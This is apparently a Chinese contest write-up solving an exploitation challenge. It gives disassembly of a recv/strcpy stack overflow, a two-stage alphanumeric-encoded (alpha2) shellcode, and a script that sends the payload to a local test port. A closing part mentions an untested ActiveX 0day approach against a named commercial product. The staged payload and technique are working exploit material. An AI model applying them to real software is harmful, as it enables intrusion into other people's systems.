一开始没打算参赛,晚上无聊搞了搞,发觉还是很简单的。
 
其实我做的很不好,懒得写文档,但至少可以跨平台的。
 
A题:
 
用E语言发了一个大包给本地,直接崩了,从recv入手,很容易得到
 

代码:
00401000  /$  81EC C8000000 sub     esp, 0C8
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi
00401010  |.  57            push    edi
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]
00401018  |.  68 4C904000   push    exploit_.0040904C                ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scasb                            ;  \这里是个strcpyA
0040101F  |.  F7D1          not     ecx
00401021  |.  2BF9          sub     edi, ecx
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2
0040102C  |.  F3:A5         rep     movsd
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3
00401033  |.  F3:A4         rep     movsb                            ;  /

 
这里面就一个堆栈变量,长度0xC8 = 200,所以用200字节覆盖,最后用4字节地址来执行。
 
ctrl+R回到调用处,可以看到传进来的参数恰好是buffer,
 
代码:
0040120B  |.  50            |push    eax                             ; /Flags => 0
0040120C  |.  F3:AB         |rep     stosd                           ; |
0040120E  |.  8D4C24 38     |lea     ecx, dword ptr [esp+38]         ; |
00401212  |.  68 00020000   |push    200                             ; |BufSize = 200 (512.)
00401217  |.  51            |push    ecx                             ; |Buffer
00401218  |.  53            |push    ebx                             ; |Socket
00401219  |.  FF15 D8804000 |call    dword ptr [<&WS2_32.#16>]       ; \recv
0040121F  |.  8BF0          |mov     esi, eax
00401221  |.  85F6          |test    esi, esi
00401223  |.  7D 26         |jge     short exploit_.0040124B
00401225  |.  68 74904000   |push    exploit_.00409074               ;  ASCII "reading stream message erro!"
0040122A  |.  B9 689A4000   |mov     ecx, exploit_.00409A68
0040122F  |.  E8 F3010000   |call    exploit_.00401427
00401234  |.  68 D0124000   |push    exploit_.004012D0
00401239  |.  6A 0A         |push    0A                              ; /Arg1 = 0000000A
0040123B  |.  8BC8          |mov     ecx, eax                        ; |
0040123D  |.  E8 9E000000   |call    exploit_.004012E0               ; \exploit_.004012E0
00401242  |.  8BC8          |mov     ecx, eax
00401244  |.  E8 67000000   |call    exploit_.004012B0
00401249  |.  33F6          |xor     esi, esi
0040124B  |>  8D5424 34     |lea     edx, dword ptr [esp+34]
 

 
这么明显的溢出,如果还不能跨平台,有点太没意思了。
 
 
要跨平台就得在程序内找一个地址,覆盖了返回之后跳到buffer中执行,
 
因此可以直接把返回地址改成一个retn指令的地址,就跳到buffer了。
 
不过现在的问题:
 
1、跨平台选的地址都是004xxxxx,strcpy会停止于00
2、就算strcpy不停止,recv只收200字节,所以后面不好控制
3、由于strcpy,shellcode前面有00出现会停止造成无法溢出
 
1、2算做一个问题,就是我们只能编码200字节shellcode
 
看第三个问题,可以用skyline的alpha2来编码,通过精心选择指令写出的loader,
 
可以只使用ascii字符,地址是http://www.edup.tudelft.nl/~bjwever/menu.html.php
 
在线版不太会用,下载了c代码,发现不是for win32的,
 
试验了几次,发现需要改动头文件,把srand的seed随便写一个值,不用那个time库,再把strcasecmp改成strcmp就可以用vc编译了,编译一个exe出来备用
 
输入方式好像很奇怪,最后发现需要用管道输入,服了,写了一个屁处理来使用
 
我用我的XLIB跨平台使用API,不过alpha2编码之后怎么也缩不到200字节,
 
现在得停下来思考,既然一个包200不成,那就再发第2个包,
 
于是我写了2份shellcode,第一个负责溢出,并且去recv第2个包,然后执行第2个包
 
这是第一个
代码:
   mov edi, esp
   mov ecx, 1024;alloc
   sub edi, ecx
 
   push 0
   push ecx
   push edi
   push ebx
   mov eax, 4080D8h
   call dword ptr [eax]; 这里是recv
   jmp edi
 

 
然后是第2个,
 
代码:
 
; fucker
;   initX XFL_ALL
;
;   push 1000
;   push 1000
;   callX Beep
;

 
XLIB是我写的一个库,可以用任何可以跨平台的shellcode的库代替,这里我就是简单的Bi~~~一下
 
然后就是那个屁处理了,
 
 
代码:
alpha2 [esp-4] <0.bin >0.txt
alpha2 edi <1.bin >1.txt

 
 
其实第2个包不需要alpha2编码,不过为了保持一致,也就搞一个吧
 
0.txt
代码:
 
LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA
 

 
 
1.txt
代码:
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA

 
最后是一个易语言程序负责发包
 
代码:
 
.版本 2
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.局部变量 t, 文本型
c.连接 (“127.0.0.1”, 7777)
t = “LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA”
t = t + 取空白文本 (200 - 取文本长度 (t))
c.发送数据 (到字节集 (t) + 到字节集 (4199334))
延时 (100)
c.发送数据 (“WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA”)
c.断开连接 ()
 

 
 
 
B题:
 
这个。。。很毒很真实。
 
按照那个doc教程获得CLSID,再baidu一下啊,发现是超星的0day
 
只要自己写shellcode,用utf16编码就可以了
 
不小心下载alpha2的时候看到skyline的网站上有个beta.c
 
发现就是用来干这个的,于是。。。提交。【揭露一下,第2个没耐心了,根本没测试,估计不行,哈哈】